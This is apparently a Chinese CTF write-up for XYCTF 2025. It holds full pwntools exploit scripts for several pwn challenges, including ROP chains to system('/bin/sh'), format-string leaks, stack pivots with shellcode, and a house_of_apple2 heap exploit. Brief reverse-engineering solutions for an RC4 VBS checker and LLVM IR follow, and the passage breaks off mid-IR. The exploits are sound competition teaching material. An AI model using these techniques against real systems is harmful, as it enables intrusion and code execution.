req.sender = sender
req.content = content
req.actionid = 0
payload = req.SerializeToString() #转化成proto的序列化字符串
p.send(payload)

def sendReq(id,sender,len,content):
req = message_pb2.Message_request() #创建结构体
#各字段赋值
req.id = id
req.len = len
req.sender = sender
req.content = content
req.actionid = 1
payload = req.SerializeToString() #转化成proto的序列化字符串
p.send(payload)

def botReply(id,sender="admin",len=1,content=b"a"):
req = message_pb2.Message_request() #创建结构体
#各字段赋值
req.id = id
req.len = len
req.sender = sender
req.content = content
req.actionid = 2
payload = req.SerializeToString() #转化成proto的序列化字符串
p.send(payload)
def recv_protobuf():
""" 接收并解析服务器返回的 protobuf 数据 """
p.recvuntil("TESTTESTTEST!\n")
# print(p.recvline())
response_data = p.recvline()[:-1]
res = message_pb2.Message_response()
res.ParseFromString(response_data)
print(f"Received ID: {res.id}")
print(f"Received receiver: {res.receiver}")
print(f"Received status_code: {res.status_code}")
print(f"Received error_message: {res.error_message}")



sendReq(0,"admin",0x28+2,b"a"*0x18+p64(0x21)+p64(0)+p16(0x22a0))
botReply(1)
p.recvuntil("BOT MSG")
libc_base = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00")) - 0x29d90
log.success("libc_base:"+hex(libc_base))
environ = libc_base + libc.symbols["environ"]
ret = libc_base + 0x0000000000029139
pop_rdi_ret = libc_base + 0x000000000002a3e5
pop_rsi_ret = libc_base + 0x000000000002be51
system = libc_base + libc.symbols["system"]
bin_sh = libc_base + 0x00000000001d8678

sendReq(0,"admin",0x30,b"a"*0x18+p64(0x21)+p64(0)+p64(environ))
botReply(1)
stack = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
log.success("stack:"+hex(stack))


sendReq(0,"admin",0x30,b"a"*0x18+p64(0x21)+p64(0)+p64(stack-0x200))
# gdb.attach(p)
# pause()
sendReq(1,"admin",0x20,p64(ret)+p64(pop_rdi_ret)+p64(bin_sh)+p64(system))

# recv_protobuf()
p.interactive()

XYCTF{eb7711df-94d9-4eb8-b94f-859dfaa638fe}

pwn-奶龙回家

看沙箱,只能进行常规orw。

这题一开始给了栈上相关地址,但进行了随机偏移,不过因为是伪加密,所以可以确定这个偏移量。这里需要注意的是,用pwntools远程连接到服务器到这个程序time的运行会有一定延迟,所以我们本地算随机数种子时需要尝试加减一定的偏移量。

主要利用点在于有任意地址读和任意地址写,前面的v20的次数限制可以通过输入负数来进行type confuse,(choice是int而v20是unsigned int),然后v18的限制可以通过改写栈上变量来绕过。由于这题开了沙箱,所以不能进入调用system的分支。

任意地址读可以读got表泄露libc基址,然后绕过上述两个限制后,就可以往栈上任意写了,直接写orw的rop链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *
from time import sleep
import ctypes
context(arch="amd64",log_level="debug")
context.terminal=["cmd.exe","/c", "start", "cmd.exe", "/c", "wsl.exe", "-e"]

glibc = ctypes.CDLL("./libc.so.6")

# p = process("./nailong")

p = remote("47.94.217.82",36901)
v0 = glibc.time(0)-2 #remote -3
glibc.srand(v0)
elf = ELF("./nailong")
libc = ELF("./libc.so.6")


p.recvuntil("rbp + offset:")
stack = int(p.recvuntil("end")[:-3])
log.success("stack: "+hex(stack))
rbp = stack - (glibc.rand() % 0x1B0 + 0x50)
log.success("rbp: "+hex(rbp))
# gdb.attach(p)

p.sendlineafter("xiao_peng_you_ni_zhi_dao_wo_yao_qu_ji_lou_ma","-1")
def readfunc(addr):
p.sendlineafter("chose","1")
p.sendlineafter("what you want do?",str(addr))

def writefunc(addr,data):
p.sendlineafter("chose","2")
p.sendlineafter("what you want do?",str(addr))
p.sendafter("read you want",data)

def writep64(addr,data):
writefunc(addr,data[:4])
writefunc(addr+4,data[4:])

# read(0x404030)
readfunc(rbp+8)
libc_base = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00")) - 0x29d90
ret = libc_base + 0x0000000000029139
pop_rdi_ret = libc_base + 0x000000000002a3e5
pop_rsi_ret = libc_base + 0x000000000002be51
pop_rdx_ret = 0x0000000000401650
open = libc_base + libc.sym["open"]
read = libc_base + libc.sym["read"]
write = libc_base + libc.sym["write"]
pop_rax_ret = libc_base + 0x0000000000045eb0
syscall = libc_base + 0x0000000000042759

log.success("libc_base: "+hex(libc_base))

writefunc(rbp-0x8044,b"\xff\xff\xff\xce")
# gdb.attach(p)
# pause()
writep64(0x404500,p64(0x67616c662f))
writep64(rbp+8,p64(pop_rdi_ret))
writep64(rbp+0x10,p64(0x404500))
writep64(rbp+0x18,p64(pop_rsi_ret))
writep64(rbp+0x20,p64(0))
writep64(rbp+0x28,p64(pop_rdx_ret))
writep64(rbp+0x30,p64(0))
writep64(rbp+0x38,p64(open))

writep64(rbp+0x40,p64(pop_rdi_ret))
writep64(rbp+0x48,p64(3))
writep64(rbp+0x50,p64(pop_rsi_ret))
writep64(rbp+0x58,p64(0x404500))
writep64(rbp+0x60,p64(pop_rdx_ret))
writep64(rbp+0x68,p64(0x100))
writep64(rbp+0x70,p64(read))

writep64(rbp+0x78,p64(pop_rdi_ret))
writep64(rbp+0x80,p64(1))
writep64(rbp+0x88,p64(pop_rsi_ret))
writep64(rbp+0x90,p64(0x404500))
writep64(rbp+0x98,p64(pop_rdx_ret))
writep64(rbp+0xa0,p64(0x100))
writep64(rbp+0xa8,p64(write))

writefunc(rbp-0x803C,p32(0))
p.interactive()

XYCTF{0b6fb9b7-e291-4037-9833-52b7f99a0ec0}

pwn-明日方舟寻访模拟器

前面各种抽卡逻辑没有漏洞,漏洞点主要在于后面分享功能存在栈溢出。但溢出的不多,只能放下3个rop元素。利用的挑战点是执行完一遍后会把标准输出关了。一开始是想着先控制rbp回来到read函数读取到可控地址处,然后再栈迁移回来。后面发现有更简单的方法。

由于程序本身存在pop rdi;ret的gadget,程序里又有system函数,PIE保护也没开启,所以我们可以想办法让一些全局变量变成我们想要的值然后赋给rdi,之后直接call system即可。这里选用sum_count这个全局变量,因为每次抽卡都可以累加,而且程序也提供批量抽卡功能(上限10000),那么我们直接把sum_count累加成sh,然后就能获取shell了。最后获取shell后,还需要把标准输出重定向到标准错误,这样才好有回显。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
from time import sleep
import ctypes
context(arch="amd64",log_level="debug")
context.terminal=["cmd.exe","/c", "start", "cmd.exe", "/c", "wsl.exe", "-e"]
# libc = ctypes.CDLL("libc.so.6")

# p = process("./arknights")
p = remote("47.94.217.82",30781)
elf = ELF("./arknights")
# glibc = ELF("libc.so.6")
# /bin/sh:0x68732f6e69622f
# sh:0x6873->26739
pop_rdi_ret = 0x00000000004018e5
pop_rsi_r15_ret = 0x0000000000401981
leave_ret = 0x0000000000401393
call_rax = 0x0000000000401014
system_plt = 0x0000000000401130
call_system = 0x00000000004018FC
start = 0x0000000004011D0
sum_count = 0x405BCC

p.sendline()
p.sendlineafter("请选择","3")
p.sendlineafter("请输入寻访次数","10000")
p.sendline()
p.sendlineafter("请选择","3")
p.sendlineafter("请输入寻访次数","10000")
p.sendline()
p.sendlineafter("请选择","3")
p.sendlineafter("请输入寻访次数","6739")
p.sendline()
p.sendlineafter("请选择","4")
p.sendlineafter("请选择","1")

# gdb.attach(p)
# pause()
payload = b"A"*0x48 + p64(pop_rdi_ret) + p64(sum_count) + p64(call_system)
p.sendlineafter("请输入你的名字",payload)

p.sendline(payload)
p.interactive()

XYCTF{6edda96d-aacb-434b-8a42-60f78e5d8e56}

pwn-girlfriend

内置菜单,其中方法3 reply 中能往name全局变量读取大量字节,但name全局变量实际只有0x30的大小,那我们就可以在这个区域内布局后续要用到的rop链。而且这个函数还有格式化字符串漏洞,可以一次性把所有要用的地址以及canary都泄露出来。通过动调可知,canary在偏移15,libc相关地址在偏移17,程序相关地址在偏移19。

然后方法一 girlfriend 中我们刚好可以栈溢出覆盖返回地址,那么显然就是栈迁移到我们可控的name全局变量下面的位置,然后由于这题开了沙箱,所以我选择先用 mprotect 改一段可执行,然后直接写openat+sendfile的shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *
from time import sleep
context(arch='amd64', os='linux',log_level="debug")
context.terminal=["cmd.exe","/c", "start", "cmd.exe", "/c", "wsl.exe", "-e"]

def reply(name):
p.sendlineafter("Your Choice:","3")
p.sendlineafter("name first",name)

def girlfriend(say):
p.sendlineafter("Your Choice:","1")
p.sendafter("say to her?",say)

def buy():
p.sendlineafter("Your Choice:","2")
p.sendlineafter("flowers?","Y")

#-0x29d90
# p = process("./girlfriend")
p = remote("8.147.132.32",20003)
payload = b"%15$p.%17$p.%19$p"
payload = payload.ljust(0x30,b"A") + p32(0x100) + p32(0)*2
# gdb.attach(p)
reply(payload)
p.recvuntil("your name:\n")
canary = int(p.recv(18),16)
p.recvuntil(".")
libc_base = int(p.recv(14),16) - 0x29d90
p.recvuntil(".")
base = int(p.recv(14),16) - 0x1817
log.success("canary:"+hex(canary))
log.success("libc_base:"+hex(libc_base))
log.success("base:"+hex(base))

ret = base + 0x000000000000101a
leave_ret = base + 0x00000000000014f4
pop_rdi_ret = libc_base + 0x000000000002a3e5
pop_rsi_ret = libc_base + 0x000000000002be51
pop_rdx_r12_ret = libc_base + 0x000000000011f2e7
# fake_stack = base + 0x4500
pop_rax_ret = libc_base + 0x0000000000045eb0
pop_rbx_jmp_rax = libc_base + 0x000000000008d848
syscall = libc_base + 0x0000000000042759

shellcode = """
xor rsi,rsi;
mov rbx,0x67616c662f;
push rbx;
mov rdx,0;
mov r10,0;
mov rdi,3;
mov rsi,rsp
mov eax,257;
syscall

mov rsi,3;
mov r10,50;
xor rdx,rdx;
mov rdi,rdx;
inc rdi;
mov eax,40;
syscall;
"""

payload = b"A"*0x30 + p32(0x100) + p32(0)*3 + p64(pop_rdi_ret) + p64(base+0x4000) + p64(pop_rsi_ret) + p64(0x1000) + p64(pop_rdx_r12_ret) + p64(7)*2 + p64(pop_rax_ret) + p64(0xa) + p64(syscall)
payload += p64(pop_rax_ret) + p64(base+0x4110) + p64(pop_rbx_jmp_rax) + p64(0) + asm(shellcode)
reply(payload)
# gdb.attach(p)
# pause()
payload = b"A"*0x38 + p64(canary) + p64(base+0x40a0-8) + p64(leave_ret) #+ p64(base+0x1623)
girlfriend(payload)



p.interactive()

XYCTF{0a311a59-8dbe-43c8-bc43-eba20569d0ad}

pwn-EZ3.0

一道mips架构的pwn题,以前做过类似的栈溢出+retshellcode,这一题比较简单,主要就是考察对mips架构的基本掌握。用Ghidra打开进行分析(我的IDA分析不了mips (ಥ﹏ಥ)),发现chall函数里面糊脸就是一个栈溢出。具体返回地址在哪个位置可以结合动态调试来看。

用如下方式进行调试,记得-L那指定好,不然会找不到/lib/ld.so.1

1
2
3
4
5
6
7
8
program = "./EZ3.0"
p = process(["qemu-mipsel", "-L", "/usr/mipsel-linux-gnu","-g", "6666", program])
gdb.attach(p,f'''
file {program}
target remote 127.0.0.1:6666
b main
c
''')

IDA搜字符串存在一个可以直接读取flag的命令。程序里也存在system函数的调用。

之后就是要找个可以控$a0的gadget,可以沿用ROPgadget。

这里第一个gadget就可以正确的控制$a0并返回到$sp+4位置处了,在$sp+4布局调用system函数的地址就可以读取到flag了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context(arch='mips',log_level="debug")
context.terminal=["cmd.exe","/c", "start", "cmd.exe", "/c", "wsl.exe", "-e"]

main = 0x00400830
system = 0x004009EC
gadget = 0x00400a20 # lw $a0, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; nop
command = 0x0411010
program = "./EZ3.0"
p = process(["qemu-mipsel", "-L", "/usr/mipsel-linux-gnu","-g", "6666", program])
gdb.attach(p,f'''
file {program}
target remote 127.0.0.1:6666
b main
c
''')
# p = process("./EZ3.0")

# p = remote("8.147.132.32",41952)

payload = b"A"*0x20 + p32(0) + p32(gadget) + p32(0) + p32(system) + p32(command)
p.sendafter(">",payload)

p.interactive()

XYCTF{5e624a31-34f2-47f5-9486-5b8420a39a29}

pwn-heap2

这里给出本地能打通的exp,当时比赛时远程一直打不通,估计是和堆布局有关,毕竟我本地的libc环境是GLIBC 2.39-0ubuntu8.4,而给出的libc是(Ubuntu GLIBC 2.39-0ubuntu8.3),差了一个小版本。我怀疑libseccomp.so.2版本也有所不同,所以可能在堆上的布局也不同,毕竟我在计算一些chunk的地址时是看的本地的偏移。

题目本身是一个裸的UAF,不过只有16次机会add chunk,而且分配了就收不回来。这里的我们其实可以靠UAF实现劫持tcachebin chunk的fd域,然后分配chunk到**_IO_list_all,将其改成我们可控的chunk地址,然后就是打house_of_apple2**。

由于题目开了沙箱,所以最后要靠svcudp_reply+29swapcontext的gadget实现rop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
from pwn import *
context(arch='amd64', os='linux',log_level="debug")
# context.terminal=["cmd.exe","/c", "start", "cmd.exe", "/c", "wsl.exe", "-e"]

p = process("./heap2")
# p = remote("8.147.132.32",28042)
libc = ELF("./libc.so.6")
def add(size, content=b"a"):
p.sendlineafter("> ", "1")
p.sendlineafter("size", str(size))
p.sendafter("data", content)

def delete(index):
p.sendlineafter("> ", "3")
p.sendlineafter("idx", str(index))

def show(index):
p.sendlineafter("> ", "2")
p.sendlineafter("idx", str(index))

def out():
p.sendlineafter("> ", "4")


# offset = 0x1000
add(0x280) #0
add(0x280) #1
for i in range(7):
add(0x280)

delete(2)
show(2)
p.recv()
key = u64(p.recv(5).ljust(8,b"\x00"))
heap_base= (key<<12) - 0x15000 #+ offset
log.success("heap_base:"+hex(heap_base))

for i in range(3,9):
delete(i)

delete(1)
show(1)
libc_base=u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))-0x203b20
log.success("libc_base:"+hex(libc_base))
_IO_list_all=libc_base+libc.sym['_IO_list_all']
_IO_wfile_jumps =libc_base+libc.sym['_IO_wfile_jumps']
system = libc_base+libc.sym['system']
gadget1 = libc_base + 0x17923d #svcudp_reply+29
gadget2 = libc_base + 0x5814D #swapcontext
pop_rdi_ret = libc_base + 0x000000000010f75b
pop_rsi_ret = libc_base + 0x0000000000110a4d
pop_rsi_rbp_ret = libc_base + 0x000000000002b46b
pop_rax_ret = libc_base + 0x00000000000dd237
mov_edx_ebx_3pop_ret = libc_base + 0x00000000000b0124 #mov edx, ebx ; pop rbx ; pop r12 ; pop rbp ; ret
mov_edx_ebp_4pop_ret = libc_base + 0x00000000000b00c8 #mov edx, ebp ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
pop_rbp_ret = libc_base + 0x0000000000028a91
pop_rbx_ret = libc_base + 0x00000000000586d4
syscall = libc_base + 0x0000000000187A81
ret = libc_base + 0x000000000002882f
open = libc_base + libc.sym["open"]
read = libc_base + libc.sym["read"]
write = libc_base + libc.sym["write"]

chunk9 = heap_base + 0x16090 #(key<<12) + 0x1000 + 0x90 #
chunk10 = heap_base + 0x16320 + 0x10 #(key<<12) + 0x1000 + 0x320 + 0x10 #

fake_IO_FILE = p64(0)*2
fake_IO_FILE += p64(1) + p64(2) #_write_base,_write_ptr
fake_IO_FILE += p64(0)+p64(0) #_IO_buf_base,_IO_buf_end
fake_IO_FILE += p64(0) + p64(chunk10+0x108)
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heap_base+0x3000) #lock
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE += p64(chunk10) #_wide_data
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, b'\x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE += p64(0) #setcontext->rsp
fake_IO_FILE += p64(0) #setcontext->rcx
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00')
fake_IO_FILE += p64(_IO_wfile_jumps) # vtable


payload = b"\x00"*0xe0+p64(chunk10+0x100-0x68)+p64(0)*3+p64(gadget1)+p64(0)*2+p64(heap_base+0x5000)+p64(chunk10+0x118)+p64(0)+p64(0xffffffffffffffff)+p64(0)+p64(gadget2)
payload += p64(0)*9 + p64(0x50) + p64(0)*2 + p64(chunk10+0x250) + p64(ret) + p64(0)*6 + p64(heap_base+0x5000)
payload = payload.ljust(0x200,b"\x00")
payload += b"/flag\x00"

#open
rop = p64(pop_rdi_ret) + p64(chunk10+0x200) + p64(pop_rsi_rbp_ret) + p64(0)*2 + p64(pop_rbx_ret) + p64(0) + p64(mov_edx_ebx_3pop_ret) + p64(0)*3 + p64(pop_rax_ret) + p64(2) + p64(syscall)
#read
rop += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_rbp_ret) + p64(heap_base+0x5000)*2 + p64(pop_rbx_ret) + p64(0x50) + p64(mov_edx_ebx_3pop_ret) + p64(0)*3 + p64(pop_rax_ret) + p64(0) + p64(syscall)
#write
rop += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_rbp_ret) + p64(heap_base+0x5000)*2 + p64(pop_rbx_ret) + p64(0x50) + p64(mov_edx_ebx_3pop_ret) + p64(0)*3 + p64(pop_rax_ret) + p64(1) + p64(syscall)

payload = payload.ljust(0x250,b"\x00") + rop

delete(0)

# gdb.attach(p)
# pause()
add(0x280,fake_IO_FILE) #9
delete(1) #double free

log.info("key:"+hex(key))


add(0x320,b"A"*0x288+p64(0x291)+p64((_IO_list_all)^(key-1)))

add(0x1000,payload) #10

add(0x280) #11
add(0x280,p64(chunk9)) #12

out()

p.interactive()

re-WARMUP

给了一个vbs文件

可以直接用chatgpt一把梭,我们也可以先把每个chr算好提取出来看看大概逻辑是什么。其中有一些计算结果不在ascii范围之内,我们可以略过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import re

# 重新读取 VBS 文件内容(由于状态已重置)
file_path = r"E:\ctf\xyctf2025\re\VBS\VBS\chal.vbs"
with open(file_path, "r", encoding="utf-8", errors="ignore") as f:
vbs_code = f.read()

# 匹配所有 Chr(x [+|-] y [+|-] z ...) 形式的内容
pattern = re.compile(r"Chr\((.*?)\)", re.IGNORECASE)

def eval_chr_expression(expr):
try:
return chr(eval(expr))
except Exception:
return f"Chr({expr})" # 保留原始表达式如果失败

# 替换 Chr 表达式为其对应的字符
decoded_code = pattern.findall(vbs_code)
for item in decoded_code:
item = item.replace("/","//")
# print(item)
try:
print(chr(eval(item)),end="")
except Exception:
print(f"Chr({item})",end="")

得到结果大概长这样,其实已经可以明显看出rc4的加密逻辑了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
MsgBox "Dear CTFER. Have fun in XYCTF 2025!"
flag = InputBox("Enter the FLAG:", "XYCTF")
wefbuwiue = "90df4407ee093d309098d85a42be57a2979f1e51463a31e8d15e2fac4e84ea0df622a55c4ddfb535ef3e51e8b2528b826d5347e165912e99118333151273cc3fa8b2b3b413cf2bdb1e8c9c52865efc095a8dd89b3b3cfbb200bbadbf4a6cd4" ' Chr( -5840+114 )Chr( -37790+6278 )Chr( -8.231351E+07//3957 )Chr( -14110+7864 )Chr( -30457-1205 )C4Chr( 517-7291 )Chr( -31263+6916 )Chr( -29685+9083 )Chr( -2.138515E+07//3442 )Chr( -26304-1370 )Chr( -1.510879E+08//6060 )Chr( -903-3261 )Chr( -22484-8007 )Chr( -34437+5126 )Chr( -10635+3856 )Chr( -1.97004E+08//9374 )Chr( -1.079768E+08//6550 )Chr( -2.533546E+07//3739 )Chr( -25645+6931 )Chr( -1.720817E+08//7056 )Chr( -12498+5774 )Chr( -2.164872E+08//7546 )Chr( -8955-8316 )
qwfe = "rc4key"

' Chr( -5.682766E+07//8145 )Chr( -3.747722E+07//1805 )Chr( -20535-2876 )Chr( -5076000//750 )Chr( -28220-733 )Chr( -33583+7603 )RC4Chr( -4.203267E+07//6205 )Chr( -20128-4219 )Chr( -29090+8488 )Chr( -7954+1177 )Chr( -25730+8808 )Chr( -23859-3357 )
Function RunRC(sMessage, strKey)
Dim kLen, i, j, temp, pos, outHex
Dim s(255), k(255)

' Chr( -10371+3595 )Chr( -21805-3310 )Chr( -1.930486E+08//8525 )Chr( -6242-530 )Chr( -2.479211E+08//9214 )Chr( -28712+8110 )Chr( 4047-9789 )?
kLen = Len(strKey)
For i = 0 To 255
s(i) = i
k(i) = Asc(Mid(strKey, (i Mod kLen) + 1, 1)) ' Chr( -13541+6804 )Chr( -7.75285E+07//2501 )Chr( -32055+4060 )Chr( -1318-5661 )Chr( -5.265648E+07//3209 )Chr( -31857+4377 )ASCIIChr( -2.477346E+07//3988 )Chr( -17020-9885 )Chr( -2542488//104 )
Next

' KSAChr( -16-6721 )Chr( -28078-2921 )Chr( -24670-3325 )Chr( -9340+3372 )Chr( -25211-6560 )Chr( -22908+5154 )
j = 0
For i = 0 To 255
j = (j + s(i) + k(i)) Mod 256
temp = s(i)
s(i) = s(j)
s(j) = temp
Next

' PRGAChr( 3060-9834 )Chr( -1.219054E+08//5007 )Chr( -16837-3765 )Chr( -13859+7384 )Chr( -40413+8132 )Chr( -7.735399E+07//3455 )
i = 0 : j = 0 : outHex = ""
For pos = 1 To Len(sMessage)
i = (i + 1) Mod 256
j = (j + s(i)) Mod 256
temp = s(i)
s(i) = s(j)
s(j) = temp

' Chr( -5.053404E+07//7460 )Chr( -26034+1687 )Chr( -19313-1289 )Chr( -30-6697 )Chr( -17366-1346 )Chr( -15077-1903 )Chr( -6552-432 )Chr( -13927-3764 )Chr( -37232+7921 )Chr( 1107-7886 )Chr( -15477-5539 )Chr( -1.750707E+07//1062 )Chr( -3.826407E+07//5647 )?
Dim plainChar, cipherByte
plainChar = Asc(Mid(sMessage, pos, 1)) ' Chr( -5.533603E+07//8508 )Chr( -1.094461E+07//378 )Chr( -19198-7803 )Chr( -1503-5013 )Chr( -22047-8352 )SCIIChr( -16376+9628 )Chr( -3.882402E+07//1232 )Chr( -35990+7452 )
cipherByte = s((s(i) + s(j)) Mod 256) Xor plainChar
outHex = outHex & Right("0" & Hex(cipherByte), 2)
Next

RunRC = outHex
End Function

' Chr( -15360+8376 )Chr( -1.435792E+08//8237 )Chr( -21866-10 )Chr( -4.86175E+07//8145 )Chr( -1.932544E+08//5987 )Chr( -19485+2053 )Chr( -10516-6235 )
If LCase(RunRC(flag, qwfe)) = LCase(wefbuwiue) Then
MsgBox "Congratulations! Correct FLAG!"
Else
MsgBox "Wrong flag."
End If

之后直接rc4解密即可。

1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Cipher import ARC4
import binascii

cipher_hex = "90df4407ee093d309098d85a42be57a2979f1e51463a31e8d15e2fac4e84ea0df622a55c4ddfb535ef3e51e8b2528b826d5347e165912e99118333151273cc3fa8b2b3b413cf2bdb1e8c9c52865efc095a8dd89b3b3cfbb200bbadbf4a6cd4"
key = b"rc4key"

cipher_bytes = binascii.unhexlify(cipher_hex)
rc4 = ARC4.new(key)
plaintext = rc4.decrypt(cipher_bytes)

print(plaintext.decode(errors="ignore"))

XYCTF{5f9f46c147645dd1e2c8044325d4f93c}

re-Dragon

.bc 文件是 LLVM 编译生成的 bitcode 文件,也叫“中间表示 IR(Intermediate Representation)”,不是机器码,也不是源代码,而是一种 LLVM 的中间形式。我们可以通过llvm-dis-17来将其转换成人类可读的 LLVM IR(文本形式)

反编译出来的程序如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
; ModuleID = 'Dragon.bc'
source_filename = "1.cpp"
target datalayout = "e-m:w-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-windows-msvc19.39.33522"

$printf = comdat any

$scanf = comdat any

$_vfprintf_l = comdat any

$__local_stdio_printf_options = comdat any

$_vfscanf_l = comdat any

$__local_stdio_scanf_options = comdat any

$"??_C@_0O@FIGNKBOM@Input?5U?5flag?3?$AA@" = comdat any

$"??_C@_02DKCKIIND@?$CFs?$AA@" = comdat any

$"??_C@_06JPHCLLC@Error?$CB?$AA@" = comdat any

$"??_C@_07PBILKAFL@Success?$AA@" = comdat any

$"?_OptionsStorage@?1??__local_stdio_printf_options@@9@4_KA" = comdat any

$"?_OptionsStorage@?1??__local_stdio_scanf_options@@9@4_KA" = comdat any

@__const.main.enc = private unnamed_addr constant [12 x i64] [i64 -2565957437423125689, i64 224890624719110086, i64 1357324823849588894, i64 -8941695979231947288, i64 -253413330424273460, i64 -7817463785137710741, i64 -5620500441869335673, i64 984060876288820705, i64 -6993555743080142153, i64 -7892488171899690683, i64 7190415315123037707, i64 -7218240302740981077], align 16
@"??_C@_0O@FIGNKBOM@Input?5U?5flag?3?$AA@" = linkonce_odr dso_local unnamed_addr constant [14 x i8] c"Input U flag:\00", comdat, align 1
@"??_C@_02DKCKIIND@?$CFs?$AA@" = linkonce_odr dso_local unnamed_addr constant [3 x i8] c"%s\00", comdat, align 1
@"??_C@_06JPHCLLC@Error?$CB?$AA@" = linkonce_odr dso_local unnamed_addr constant [7 x i8] c"Error!\00", comdat, align 1
@"??_C@_07PBILKAFL@Success?$AA@" = linkonce_odr dso_local unnamed_addr constant [8 x i8] c"Success\00", comdat, align 1
@"?_OptionsStorage@?1??__local_stdio_printf_options@@9@4_KA" = linkonce_odr dso_local global i64 0, comdat, align 8
@"?_OptionsStorage@?1??__local_stdio_scanf_options@@9@4_KA" = linkonce_odr dso_local global i64 0, comdat, align 8

; Function Attrs: mustprogress noinline nounwind optnone uwtable
define dso_local noundef i64 @"?calculate_crc64_direct@@YA_KPEBE_K@Z"(ptr noundef %data, i64 noundef %length) #0 {
entry:
%length.addr = alloca i64, align 8
%data.addr = alloca ptr, align 8
%crc = alloca i64, align 8
%i = alloca i64, align 8
%j = alloca i64, align 8
store i64 %length, ptr %length.addr, align 8
store ptr %data, ptr %data.addr, align 8
store i64 -1, ptr %crc, align 8
store i64 0, ptr %i, align 8
br label %for.cond

for.cond: ; preds = %for.inc7, %entry
%0 = load i64, ptr %i, align 8
%1 = load i64, ptr %length.addr, align 8
%cmp = icmp ult i64 %0, %1
br i1 %cmp, label %for.body, label %for.end9

for.body: ; preds = %for.cond
%2 = load ptr, ptr %data.addr, align 8
%3 = load i64, ptr %i, align 8
%arrayidx = getelementptr inbounds i8, ptr %2, i64 %3
%4 = load i8, ptr %arrayidx, align 1
%conv = zext i8 %4 to i64
%shl = shl i64 %conv, 56
%5 = load i64, ptr %crc, align 8
%xor = xor i64 %5, %shl
store i64 %xor, ptr %crc, align 8
store i64 0, ptr %j, align 8
br label %for.cond1

for.cond1: ; preds = %for.inc, %for.body
%6 = load i64, ptr %j, align 8
%cmp2 = icmp ult i64 %6, 8
br i1 %cmp2, label %for.body3, label %for.end

for.body3: ; preds = %for.cond1
%7 = load i64, ptr %crc, align 8
%and = and i64 %7, -9223372036854775808
%tobool = icmp ne i64 %and, 0
br i1 %tobool, label %if.then, label %if.else

if.then: ; preds = %for.body3
%8 = load i64, ptr %crc, align 8
%shl4 = shl i64 %8, 1
%xor5 = xor i64 %shl4, 4823603603198064275
store i64 %xor5, ptr %crc, align 8
br label %if.end

if.else: ; preds = %for.body3
%9 = load i64, ptr %crc, align 8
%shl6 = shl i64 %9, 1
store i64 %shl6, ptr %crc, align 8
br label %if.end

if.end: ; preds = %if.else, %if.then
br label %for.inc

for.inc: ; preds = %if.end
%10 = load i64, ptr %j, align 8
%inc = add i64 %10, 1
store i64 %inc, ptr %j, align 8
br label %for.cond1, !llvm.loop !12

